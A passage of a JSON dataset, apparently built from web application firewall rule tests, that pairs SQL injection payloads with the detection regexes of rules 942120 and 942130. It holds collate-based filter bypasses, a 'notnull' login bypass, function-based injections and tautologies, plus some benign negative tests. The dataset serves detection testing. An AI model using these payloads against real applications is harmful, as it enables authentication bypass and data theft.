"(?i)[!=]=|&&|\\|\\||->|>[=>]|<(?:[<=]|>(?:[\\s\\x0b]+binary)?)|\\b(?:(?:xor|r(?:egexp|like)|i(?:snull|like)|notnull)\\b|collate(?:[^0-9A-Z_a-z]*?(?:U&)?[\\\"'`]|[^0-9A-Z_a-z]+(?:(?:binary|nocase|rtrim)\\b|[0-9A-Z_a-z]*?_))|(?:likel(?:ihood|y)|unlikely)[\\s\\x0b]*\\()|r(?:egexp|like)[\\s\\x0b]+binary|not[\\s\\x0b]+between[\\s\\x0b]+(?:0[\\s\\x0b]+and|(?:'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+and[\\s\\x0b]+(?:'[^']*'|\\\"[^\\\"]*\\\"))|is[\\s\\x0b]+null|like[\\s\\x0b]+(?:null|[0-9A-Z_a-z]+[\\s\\x0b]+escape\\b)|(?:^|[^0-9A-Z_a-z])in[\\s\\x0b\\+]*\\([\\s\\x0b\\\"0-9]+[^\\(\\)]*\\)|[!<->][\\s\\x0b]*all\\b", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942120", "test_description": "SQL Injection Attack: SQL Operator Detected" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=user'collate%20nocase--" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[!=]=|&&|\\|\\||->|>[=>]|<(?:[<=]|>(?:[\\s\\x0b]+binary)?)|\\b(?:(?:xor|r(?:egexp|like)|i(?:snull|like)|notnull)\\b|collate(?:[^0-9A-Z_a-z]*?(?:U&)?[\\\"'`]|[^0-9A-Z_a-z]+(?:(?:binary|nocase|rtrim)\\b|[0-9A-Z_a-z]*?_))|(?:likel(?:ihood|y)|unlikely)[\\s\\x0b]*\\()|r(?:egexp|like)[\\s\\x0b]+binary|not[\\s\\x0b]+between[\\s\\x0b]+(?:0[\\s\\x0b]+and|(?:'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+and[\\s\\x0b]+(?:'[^']*'|\\\"[^\\\"]*\\\"))|is[\\s\\x0b]+null|like[\\s\\x0b]+(?:null|[0-9A-Z_a-z]+[\\s\\x0b]+escape\\b)|(?:^|[^0-9A-Z_a-z])in[\\s\\x0b\\+]*\\([\\s\\x0b\\\"0-9]+[^\\(\\)]*\\)|[!<->][\\s\\x0b]*all\\b", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942120", "test_description": "SQLite collate nocase" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=user'collate%20nocase--" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[!=]=|&&|\\|\\||->|>[=>]|<(?:[<=]|>(?:[\\s\\x0b]+binary)?)|\\b(?:(?:xor|r(?:egexp|like)|i(?:snull|like)|notnull)\\b|collate(?:[^0-9A-Z_a-z]*?(?:U&)?[\\\"'`]|[^0-9A-Z_a-z]+(?:(?:binary|nocase|rtrim)\\b|[0-9A-Z_a-z]*?_))|(?:likel(?:ihood|y)|unlikely)[\\s\\x0b]*\\()|r(?:egexp|like)[\\s\\x0b]+binary|not[\\s\\x0b]+between[\\s\\x0b]+(?:0[\\s\\x0b]+and|(?:'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+and[\\s\\x0b]+(?:'[^']*'|\\\"[^\\\"]*\\\"))|is[\\s\\x0b]+null|like[\\s\\x0b]+(?:null|[0-9A-Z_a-z]+[\\s\\x0b]+escape\\b)|(?:^|[^0-9A-Z_a-z])in[\\s\\x0b\\+]*\\([\\s\\x0b\\\"0-9]+[^\\(\\)]*\\)|[!<->][\\s\\x0b]*all\\b", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942120", "test_description": "SQLite collate nocase" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=user'collate%60nocase%60--" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[!=]=|&&|\\|\\||->|>[=>]|<(?:[<=]|>(?:[\\s\\x0b]+binary)?)|\\b(?:(?:xor|r(?:egexp|like)|i(?:snull|like)|notnull)\\b|collate(?:[^0-9A-Z_a-z]*?(?:U&)?[\\\"'`]|[^0-9A-Z_a-z]+(?:(?:binary|nocase|rtrim)\\b|[0-9A-Z_a-z]*?_))|(?:likel(?:ihood|y)|unlikely)[\\s\\x0b]*\\()|r(?:egexp|like)[\\s\\x0b]+binary|not[\\s\\x0b]+between[\\s\\x0b]+(?:0[\\s\\x0b]+and|(?:'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+and[\\s\\x0b]+(?:'[^']*'|\\\"[^\\\"]*\\\"))|is[\\s\\x0b]+null|like[\\s\\x0b]+(?:null|[0-9A-Z_a-z]+[\\s\\x0b]+escape\\b)|(?:^|[^0-9A-Z_a-z])in[\\s\\x0b\\+]*\\([\\s\\x0b\\\"0-9]+[^\\(\\)]*\\)|[!<->][\\s\\x0b]*all\\b", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942120", "test_description": "SQL collate`nocase`" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=user'collate%20foo--" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[!=]=|&&|\\|\\||->|>[=>]|<(?:[<=]|>(?:[\\s\\x0b]+binary)?)|\\b(?:(?:xor|r(?:egexp|like)|i(?:snull|like)|notnull)\\b|collate(?:[^0-9A-Z_a-z]*?(?:U&)?[\\\"'`]|[^0-9A-Z_a-z]+(?:(?:binary|nocase|rtrim)\\b|[0-9A-Z_a-z]*?_))|(?:likel(?:ihood|y)|unlikely)[\\s\\x0b]*\\()|r(?:egexp|like)[\\s\\x0b]+binary|not[\\s\\x0b]+between[\\s\\x0b]+(?:0[\\s\\x0b]+and|(?:'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+and[\\s\\x0b]+(?:'[^']*'|\\\"[^\\\"]*\\\"))|is[\\s\\x0b]+null|like[\\s\\x0b]+(?:null|[0-9A-Z_a-z]+[\\s\\x0b]+escape\\b)|(?:^|[^0-9A-Z_a-z])in[\\s\\x0b\\+]*\\([\\s\\x0b\\\"0-9]+[^\\(\\)]*\\)|[!<->][\\s\\x0b]*all\\b", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942120", "test_description": "Invalid SQL collate foo" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=user'collate%60utf8mb4_general_ci%60--" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[!=]=|&&|\\|\\||->|>[=>]|<(?:[<=]|>(?:[\\s\\x0b]+binary)?)|\\b(?:(?:xor|r(?:egexp|like)|i(?:snull|like)|notnull)\\b|collate(?:[^0-9A-Z_a-z]*?(?:U&)?[\\\"'`]|[^0-9A-Z_a-z]+(?:(?:binary|nocase|rtrim)\\b|[0-9A-Z_a-z]*?_))|(?:likel(?:ihood|y)|unlikely)[\\s\\x0b]*\\()|r(?:egexp|like)[\\s\\x0b]+binary|not[\\s\\x0b]+between[\\s\\x0b]+(?:0[\\s\\x0b]+and|(?:'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+and[\\s\\x0b]+(?:'[^']*'|\\\"[^\\\"]*\\\"))|is[\\s\\x0b]+null|like[\\s\\x0b]+(?:null|[0-9A-Z_a-z]+[\\s\\x0b]+escape\\b)|(?:^|[^0-9A-Z_a-z])in[\\s\\x0b\\+]*\\([\\s\\x0b\\\"0-9]+[^\\(\\)]*\\)|[!<->][\\s\\x0b]*all\\b", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942120", "test_description": "Invalid SQL collate foo" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=user'collate%22%5Cutf8mb4_general_ci%22--" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[!=]=|&&|\\|\\||->|>[=>]|<(?:[<=]|>(?:[\\s\\x0b]+binary)?)|\\b(?:(?:xor|r(?:egexp|like)|i(?:snull|like)|notnull)\\b|collate(?:[^0-9A-Z_a-z]*?(?:U&)?[\\\"'`]|[^0-9A-Z_a-z]+(?:(?:binary|nocase|rtrim)\\b|[0-9A-Z_a-z]*?_))|(?:likel(?:ihood|y)|unlikely)[\\s\\x0b]*\\()|r(?:egexp|like)[\\s\\x0b]+binary|not[\\s\\x0b]+between[\\s\\x0b]+(?:0[\\s\\x0b]+and|(?:'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+and[\\s\\x0b]+(?:'[^']*'|\\\"[^\\\"]*\\\"))|is[\\s\\x0b]+null|like[\\s\\x0b]+(?:null|[0-9A-Z_a-z]+[\\s\\x0b]+escape\\b)|(?:^|[^0-9A-Z_a-z])in[\\s\\x0b\\+]*\\([\\s\\x0b\\\"0-9]+[^\\(\\)]*\\)|[!<->][\\s\\x0b]*all\\b", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942120", "test_description": "Collate bypass with character escaping" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=user'collate U%26%22%241%23B%23E%23D%22--" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[!=]=|&&|\\|\\||->|>[=>]|<(?:[<=]|>(?:[\\s\\x0b]+binary)?)|\\b(?:(?:xor|r(?:egexp|like)|i(?:snull|like)|notnull)\\b|collate(?:[^0-9A-Z_a-z]*?(?:U&)?[\\\"'`]|[^0-9A-Z_a-z]+(?:(?:binary|nocase|rtrim)\\b|[0-9A-Z_a-z]*?_))|(?:likel(?:ihood|y)|unlikely)[\\s\\x0b]*\\()|r(?:egexp|like)[\\s\\x0b]+binary|not[\\s\\x0b]+between[\\s\\x0b]+(?:0[\\s\\x0b]+and|(?:'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+and[\\s\\x0b]+(?:'[^']*'|\\\"[^\\\"]*\\\"))|is[\\s\\x0b]+null|like[\\s\\x0b]+(?:null|[0-9A-Z_a-z]+[\\s\\x0b]+escape\\b)|(?:^|[^0-9A-Z_a-z])in[\\s\\x0b\\+]*\\([\\s\\x0b\\\"0-9]+[^\\(\\)]*\\)|[!<->][\\s\\x0b]*all\\b", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942120", "test_description": "Collate bypass with postgress string escaping U&" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "email=%27%20notnull%20--" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[!=]=|&&|\\|\\||->|>[=>]|<(?:[<=]|>(?:[\\s\\x0b]+binary)?)|\\b(?:(?:xor|r(?:egexp|like)|i(?:snull|like)|notnull)\\b|collate(?:[^0-9A-Z_a-z]*?(?:U&)?[\\\"'`]|[^0-9A-Z_a-z]+(?:(?:binary|nocase|rtrim)\\b|[0-9A-Z_a-z]*?_))|(?:likel(?:ihood|y)|unlikely)[\\s\\x0b]*\\()|r(?:egexp|like)[\\s\\x0b]+binary|not[\\s\\x0b]+between[\\s\\x0b]+(?:0[\\s\\x0b]+and|(?:'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+and[\\s\\x0b]+(?:'[^']*'|\\\"[^\\\"]*\\\"))|is[\\s\\x0b]+null|like[\\s\\x0b]+(?:null|[0-9A-Z_a-z]+[\\s\\x0b]+escape\\b)|(?:^|[^0-9A-Z_a-z])in[\\s\\x0b\\+]*\\([\\s\\x0b\\\"0-9]+[^\\(\\)]*\\)|[!<->][\\s\\x0b]*all\\b", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942120", "test_description": "Detect auth bypass email=' notnull --" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "email=admin%40juice-sh.op'and%20unlikely%20(id)--" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[!=]=|&&|\\|\\||->|>[=>]|<(?:[<=]|>(?:[\\s\\x0b]+binary)?)|\\b(?:(?:xor|r(?:egexp|like)|i(?:snull|like)|notnull)\\b|collate(?:[^0-9A-Z_a-z]*?(?:U&)?[\\\"'`]|[^0-9A-Z_a-z]+(?:(?:binary|nocase|rtrim)\\b|[0-9A-Z_a-z]*?_))|(?:likel(?:ihood|y)|unlikely)[\\s\\x0b]*\\()|r(?:egexp|like)[\\s\\x0b]+binary|not[\\s\\x0b]+between[\\s\\x0b]+(?:0[\\s\\x0b]+and|(?:'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+and[\\s\\x0b]+(?:'[^']*'|\\\"[^\\\"]*\\\"))|is[\\s\\x0b]+null|like[\\s\\x0b]+(?:null|[0-9A-Z_a-z]+[\\s\\x0b]+escape\\b)|(?:^|[^0-9A-Z_a-z])in[\\s\\x0b\\+]*\\([\\s\\x0b\\\"0-9]+[^\\(\\)]*\\)|[!<->][\\s\\x0b]*all\\b", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942120", "test_description": "Test for IJ5N1CXB - unlikely" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "text=It is highly unlikely this is going to be a false positive" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[!=]=|&&|\\|\\||->|>[=>]|<(?:[<=]|>(?:[\\s\\x0b]+binary)?)|\\b(?:(?:xor|r(?:egexp|like)|i(?:snull|like)|notnull)\\b|collate(?:[^0-9A-Z_a-z]*?(?:U&)?[\\\"'`]|[^0-9A-Z_a-z]+(?:(?:binary|nocase|rtrim)\\b|[0-9A-Z_a-z]*?_))|(?:likel(?:ihood|y)|unlikely)[\\s\\x0b]*\\()|r(?:egexp|like)[\\s\\x0b]+binary|not[\\s\\x0b]+between[\\s\\x0b]+(?:0[\\s\\x0b]+and|(?:'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+and[\\s\\x0b]+(?:'[^']*'|\\\"[^\\\"]*\\\"))|is[\\s\\x0b]+null|like[\\s\\x0b]+(?:null|[0-9A-Z_a-z]+[\\s\\x0b]+escape\\b)|(?:^|[^0-9A-Z_a-z])in[\\s\\x0b\\+]*\\([\\s\\x0b\\\"0-9]+[^\\(\\)]*\\)|[!<->][\\s\\x0b]*all\\b", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942120", "test_description": "Negative test for IJ5N1CXB - unlikely" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "email=admin%40juice-sh.op\\'%20and(%20likelihood%20(id,.0));'\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[!=]=|&&|\\|\\||->|>[=>]|<(?:[<=]|>(?:[\\s\\x0b]+binary)?)|\\b(?:(?:xor|r(?:egexp|like)|i(?:snull|like)|notnull)\\b|collate(?:[^0-9A-Z_a-z]*?(?:U&)?[\\\"'`]|[^0-9A-Z_a-z]+(?:(?:binary|nocase|rtrim)\\b|[0-9A-Z_a-z]*?_))|(?:likel(?:ihood|y)|unlikely)[\\s\\x0b]*\\()|r(?:egexp|like)[\\s\\x0b]+binary|not[\\s\\x0b]+between[\\s\\x0b]+(?:0[\\s\\x0b]+and|(?:'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+and[\\s\\x0b]+(?:'[^']*'|\\\"[^\\\"]*\\\"))|is[\\s\\x0b]+null|like[\\s\\x0b]+(?:null|[0-9A-Z_a-z]+[\\s\\x0b]+escape\\b)|(?:^|[^0-9A-Z_a-z])in[\\s\\x0b\\+]*\\([\\s\\x0b\\\"0-9]+[^\\(\\)]*\\)|[!<->][\\s\\x0b]*all\\b", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942120", "test_description": "Test for HOH7M88Q - likelihood" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "text=After calculating the likelihood this should not be matched.\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[!=]=|&&|\\|\\||->|>[=>]|<(?:[<=]|>(?:[\\s\\x0b]+binary)?)|\\b(?:(?:xor|r(?:egexp|like)|i(?:snull|like)|notnull)\\b|collate(?:[^0-9A-Z_a-z]*?(?:U&)?[\\\"'`]|[^0-9A-Z_a-z]+(?:(?:binary|nocase|rtrim)\\b|[0-9A-Z_a-z]*?_))|(?:likel(?:ihood|y)|unlikely)[\\s\\x0b]*\\()|r(?:egexp|like)[\\s\\x0b]+binary|not[\\s\\x0b]+between[\\s\\x0b]+(?:0[\\s\\x0b]+and|(?:'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+and[\\s\\x0b]+(?:'[^']*'|\\\"[^\\\"]*\\\"))|is[\\s\\x0b]+null|like[\\s\\x0b]+(?:null|[0-9A-Z_a-z]+[\\s\\x0b]+escape\\b)|(?:^|[^0-9A-Z_a-z])in[\\s\\x0b\\+]*\\([\\s\\x0b\\\"0-9]+[^\\(\\)]*\\)|[!<->][\\s\\x0b]*all\\b", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942120", "test_description": "Negative test for HOH7M88Q - likelihood" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "%3D%3D" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[!=]=|&&|\\|\\||->|>[=>]|<(?:[<=]|>(?:[\\s\\x0b]+binary)?)|\\b(?:(?:xor|r(?:egexp|like)|i(?:snull|like)|notnull)\\b|collate(?:[^0-9A-Z_a-z]*?(?:U&)?[\\\"'`]|[^0-9A-Z_a-z]+(?:(?:binary|nocase|rtrim)\\b|[0-9A-Z_a-z]*?_))|(?:likel(?:ihood|y)|unlikely)[\\s\\x0b]*\\()|r(?:egexp|like)[\\s\\x0b]+binary|not[\\s\\x0b]+between[\\s\\x0b]+(?:0[\\s\\x0b]+and|(?:'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+and[\\s\\x0b]+(?:'[^']*'|\\\"[^\\\"]*\\\"))|is[\\s\\x0b]+null|like[\\s\\x0b]+(?:null|[0-9A-Z_a-z]+[\\s\\x0b]+escape\\b)|(?:^|[^0-9A-Z_a-z])in[\\s\\x0b\\+]*\\([\\s\\x0b\\\"0-9]+[^\\(\\)]*\\)|[!<->][\\s\\x0b]*all\\b", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942120", "test_description": "SQL Injection Attack: SQL Operator == Detected" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "email=admin%40juice-sh.op'%20and%20email%20%21%20all%20(select%20email)--" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[!=]=|&&|\\|\\||->|>[=>]|<(?:[<=]|>(?:[\\s\\x0b]+binary)?)|\\b(?:(?:xor|r(?:egexp|like)|i(?:snull|like)|notnull)\\b|collate(?:[^0-9A-Z_a-z]*?(?:U&)?[\\\"'`]|[^0-9A-Z_a-z]+(?:(?:binary|nocase|rtrim)\\b|[0-9A-Z_a-z]*?_))|(?:likel(?:ihood|y)|unlikely)[\\s\\x0b]*\\()|r(?:egexp|like)[\\s\\x0b]+binary|not[\\s\\x0b]+between[\\s\\x0b]+(?:0[\\s\\x0b]+and|(?:'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+and[\\s\\x0b]+(?:'[^']*'|\\\"[^\\\"]*\\\"))|is[\\s\\x0b]+null|like[\\s\\x0b]+(?:null|[0-9A-Z_a-z]+[\\s\\x0b]+escape\\b)|(?:^|[^0-9A-Z_a-z])in[\\s\\x0b\\+]*\\([\\s\\x0b\\\"0-9]+[^\\(\\)]*\\)|[!<->][\\s\\x0b]*all\\b", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942120", "test_description": "SQL Injection Attack: SQL Operator ! all Detected" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": ">%3D" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[!=]=|&&|\\|\\||->|>[=>]|<(?:[<=]|>(?:[\\s\\x0b]+binary)?)|\\b(?:(?:xor|r(?:egexp|like)|i(?:snull|like)|notnull)\\b|collate(?:[^0-9A-Z_a-z]*?(?:U&)?[\\\"'`]|[^0-9A-Z_a-z]+(?:(?:binary|nocase|rtrim)\\b|[0-9A-Z_a-z]*?_))|(?:likel(?:ihood|y)|unlikely)[\\s\\x0b]*\\()|r(?:egexp|like)[\\s\\x0b]+binary|not[\\s\\x0b]+between[\\s\\x0b]+(?:0[\\s\\x0b]+and|(?:'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+and[\\s\\x0b]+(?:'[^']*'|\\\"[^\\\"]*\\\"))|is[\\s\\x0b]+null|like[\\s\\x0b]+(?:null|[0-9A-Z_a-z]+[\\s\\x0b]+escape\\b)|(?:^|[^0-9A-Z_a-z])in[\\s\\x0b\\+]*\\([\\s\\x0b\\\"0-9]+[^\\(\\)]*\\)|[!<->][\\s\\x0b]*all\\b", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942120", "test_description": "SQL Injection Attack: SQL Operator >= Detected" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "->" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[!=]=|&&|\\|\\||->|>[=>]|<(?:[<=]|>(?:[\\s\\x0b]+binary)?)|\\b(?:(?:xor|r(?:egexp|like)|i(?:snull|like)|notnull)\\b|collate(?:[^0-9A-Z_a-z]*?(?:U&)?[\\\"'`]|[^0-9A-Z_a-z]+(?:(?:binary|nocase|rtrim)\\b|[0-9A-Z_a-z]*?_))|(?:likel(?:ihood|y)|unlikely)[\\s\\x0b]*\\()|r(?:egexp|like)[\\s\\x0b]+binary|not[\\s\\x0b]+between[\\s\\x0b]+(?:0[\\s\\x0b]+and|(?:'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+and[\\s\\x0b]+(?:'[^']*'|\\\"[^\\\"]*\\\"))|is[\\s\\x0b]+null|like[\\s\\x0b]+(?:null|[0-9A-Z_a-z]+[\\s\\x0b]+escape\\b)|(?:^|[^0-9A-Z_a-z])in[\\s\\x0b\\+]*\\([\\s\\x0b\\\"0-9]+[^\\(\\)]*\\)|[!<->][\\s\\x0b]*all\\b", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942120", "test_description": "SQL Injection Attack: SQL Operator -> Detected" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=%221%22%20sSOUNDS%20LIKE%20%22SOUNDS%20LIKE%201&other_var=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\s\\x0b\\\"'-\\)`]*?\\b([0-9A-Z_a-z]+)\\b[\\s\\x0b\\\"'-\\)`]*?(?:=|<=>|(?:sounds[\\s\\x0b]+)?like|glob|r(?:like|egexp))[\\s\\x0b\\\"'-\\)`]*?\\b([0-9A-Z_a-z]+)\\b", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942130", "test_description": "SQL Injection Attack: SQL Tautology" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "a=1=1" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\s\\x0b\\\"'-\\)`]*?\\b([0-9A-Z_a-z]+)\\b[\\s\\x0b\\\"'-\\)`]*?(?:=|<=>|(?:sounds[\\s\\x0b]+)?like|glob|r(?:like|egexp))[\\s\\x0b\\\"'-\\)`]*?\\b([0-9A-Z_a-z]+)\\b", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments" ], "attack_type": [ 